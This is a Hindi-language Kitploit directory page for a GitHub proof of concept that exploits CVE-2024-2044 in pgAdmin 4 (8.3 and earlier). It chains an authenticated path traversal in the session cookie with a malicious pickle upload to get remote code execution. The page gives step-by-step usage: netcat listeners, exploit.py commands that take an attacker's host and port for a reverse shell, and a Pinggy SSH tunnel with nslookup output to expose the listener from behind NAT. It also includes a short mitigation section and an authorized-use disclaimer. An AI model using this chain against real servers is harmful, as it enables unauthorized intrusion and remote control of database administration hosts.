Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-2044 — pgAdmin 4 (<=8.3) में CVE-2024-2044 का शोषण करने वाला Python PoC, जो प्रमाणित पथ ट्रैवर्सल और असुरक्षित pickle डीसेरिएलाइज़ेशन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन और रिवर्स शेल प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/hanzzly/cve-2024-2044
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

pgAdmin 4 (<=8.3) में CVE-2024-2044 का शोषण करने वाला Python PoC, जो प्रमाणित पथ ट्रैवर्सल और असुरक्षित pickle डीसेरिएलाइज़ेशन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन और रिवर्स शेल प्राप्त करता है।

रिपॉजिटरी देखें
18घं 25मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PoC CVE-2024-2044: pgAdmin 4 प्रमाणित RCE (Linux/POSIX)

यह रिपॉजिटरी CVE-2024-2044 के लिए Proof of Concept (PoC) स्क्रिप्ट प्रदान करती है, जो एक गंभीर भेद्यता है जो Linux/POSIX वातावरण में चल रहे pgAdmin 4 (संस्करण 8.3 और उससे नीचे) में Authenticated Path Traversal और Unsafe Deserialization को जोड़ती है।

[!WARNING] DISCLAIMER: यह कोड केवल शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान, और अधिकृत पेनेट्रेशन परीक्षण (authorized pentesting) के लिए बनाया गया है। लिखित अनुमति के बिना लक्ष्य पर हमला करने के लिए इस कोड का दुरुपयोग अवैध और कानून का उल्लंघन करने वाला कार्य है।


भेद्यता का विवरण

Linux वातावरण में सर्वर मोड के साथ pgAdmin 4 में, सत्र प्रबंधन स्थानीय फ़ाइलों के रूप में संग्रहीत किया जाता है। भेद्यता इसलिए होती है क्योंकि फ़ंक्शन FileBackedSessionManager.get() HTTP कुकी pga4_session से मान प्राप्त करता है और पथ हेरफेर वर्णों (../) के सैनिटाइज़ेशन के बिना os.path.join का उपयोग करके इसे निर्देशिका पथ में जोड़ता है।

यह PoC स्क्रिप्ट निम्नलिखित प्रवाह के साथ इस खामी का फायदा उठाती है:

  1. प्रमाणीकरण: एक सक्रिय सत्र प्राप्त करने और CSRF टोकन को बायपास करने के लिए वैध क्रेडेंशियल्स का उपयोग करके स्वचालित रूप से लॉगिन करता है।
  • पेलोड अपलोड: एक दुर्भावनापूर्ण Python pickle ऑब्जेक्ट अपलोड करने के लिए अंतर्निहित Storage Manager उपयोगिता का उपयोग करता है जिसमें Reverse Shell कमांड होता है। यह फ़ाइल उपयोगकर्ता की संग्रहण निर्देशिका के अंतर्गत संग्रहीत की जाती है (उदाहरण: /storage/nama_user/)।
  • Path Traversal ट्रिगर: pga4_session कुकी को अपलोड की गई pickle फ़ाइल के सापेक्ष पथ में हेरफेर करके /login पर HTTP अनुरोध वापस भेजता है (उदाहरण: ../storage/nama_user/file.pickle!)। ! चिह्न का उपयोग pgAdmin 4 में सत्र फ़ाइल एक्सटेंशन खोज के अनुरूप होने के लिए किया जाता है।
  • कोड निष्पादन (RCE): pgAdmin 4 सर्वर को धोखा दिया जाता है कि वह उस फ़ाइल को पढ़े और उसे pickle.loads() के साथ संसाधित करे। परिणामस्वरूप, पेलोड एक अलग (detached) Python प्रक्रिया निष्पादित करता है जो हमलावर को Reverse Shell भेजता है।

  • पूर्वापेक्षाएँ (Prerequisites)

    • लक्ष्य: pgAdmin 4 <= 8.3 (Server Mode) Linux/POSIX पर चल रहा हो।
    • पहुँच: एक वैध लॉगिन खाता आवश्यक है (Username & Password)।
    • स्क्रिप्ट निर्भरताएँ: Python 3 और requests लाइब्रेरी।

    उपयोग गाइड

    विकल्प A: सीधे सार्वजनिक IP का उपयोग करना (लोकल/VPN)

    1. reverse shell कनेक्शन प्राप्त करने के लिए अपनी मशीन पर netcat पोर्ट खोलें:
      root@kitploit:~
      nc -lvnp 4444
      
    2. एक्सप्लॉइट स्क्रिप्ट चलाएँ:
      root@kitploit:~
      python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
      

    विकल्प B: पोर्ट फ़ॉरवर्डिंग का उपयोग करना (Pinggy.io)

    यदि आपकी मशीन NAT/Router के पीछे है और सार्वजनिक tunnelling की आवश्यकता है, तो आप निम्नलिखित चरणों के साथ Pinggy.io सेवा का उपयोग कर सकते हैं:

    1. स्थानीय Netcat Listener चलाएँ

    अपनी पसंद के पोर्ट का उपयोग करके पहले स्थानीय मशीन पर nc चालू करें (उदाहरण: पोर्ट 1337):

    root@kitploit:~
    nc -lvnp 1337
    

    2. Pinggy Tunnel चलाएँ

    एक नया टर्मिनल खोलें, फिर Pinggy SSH कमांड चलाएँ। सुनिश्चित करें कि अंत में स्थानीय पोर्ट (1337) उस nc पोर्ट से मेल खाता है जिसे आपने पहले चालू किया था:

    root@kitploit:~
    ssh -p 443 -R0:localhost:1337 [email protected]
    

    कनेक्ट होने के बाद, Pinggy एक सार्वजनिक TCP URL प्रदान करेगा, उदाहरण के लिए: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

    नोट: Pinggy से प्राप्त सार्वजनिक पोर्ट 43143 है (यह बाद में -lport बनेगा)।

    3. Pinggy का असली IP खोजें (LHOST प्राप्त करना)

    लक्ष्य pgAdmin 4 सर्वर को reverse shell सॉकेट कनेक्शन के लिए असली IP पते के प्रारूप की आवश्यकता होती है। अपने Pinggy URL के डोमेन पर nslookup करें:

    root@kitploit:~
    nslookup ubylm-103-79-246-198.run.pinggy-free.link
    

    आउटपुट Pinggy सर्वर का सार्वजनिक IP दिखाएगा (सबसे ऊपर के Address भाग में IPv4 चुनें):

    root@kitploit:~
    Non-authoritative answer:
    ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
    Name:   lin.ap.12.a.pinggy.click
    Address: 172.236.148.125
    

    उपरोक्त आउटपुट से, Pinggy का असली IP प्राप्त होता है: 172.236.148.125।

    image

    4. एक्सप्लॉइट स्क्रिप्ट चलाएँ

    nslookup के परिणामस्वरूप प्राप्त IP को -lhost के रूप में और Pinggy के सार्वजनिक पोर्ट को -lport के रूप में दर्ज करके PoC स्क्रिप्ट चलाएँ:

    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
    
    image
    image

    स्क्रिप्ट विकल्प पैरामीटर

    • -t, --target : लक्ष्य pgAdmin 4 URL (अनिवार्य)।
    • -u, --username: लॉगिन Email/Username (डिफ़ॉल्ट: [email protected])।
    • -p, --password: लॉगिन Password (डिफ़ॉल्ट: player123)।
    • -lhost : हमलावर का IP Address / Pinggy nslookup परिणाम IP (अनिवार्य)।
    • -lport : हमलावर का listener पोर्ट / Pinggy सार्वजनिक पोर्ट (अनिवार्य)।

    शमन (Mitigasi)

    यह भेद्यता pgAdmin 4 संस्करण 8.4 में ठीक कर दी गई है। यदि आप एक संवेदनशील सर्वर का प्रबंधन करते हैं, तो तुरंत निम्नलिखित कार्रवाई करें:

    1. pgAdmin 4 को 8.4 या नए संस्करण में अपडेट करें।
    2. VPN या Firewall Whitelist का उपयोग करके pgAdmin 4 पैनल तक नेटवर्क पहुँच को सीमित करें।
    3. सुनिश्चित करें कि pgAdmin 4 प्रक्रिया सामान्य उपयोगकर्ता (non-root) विशेषाधिकारों के साथ चलाई जाए।
    टूल डाउनलोड करें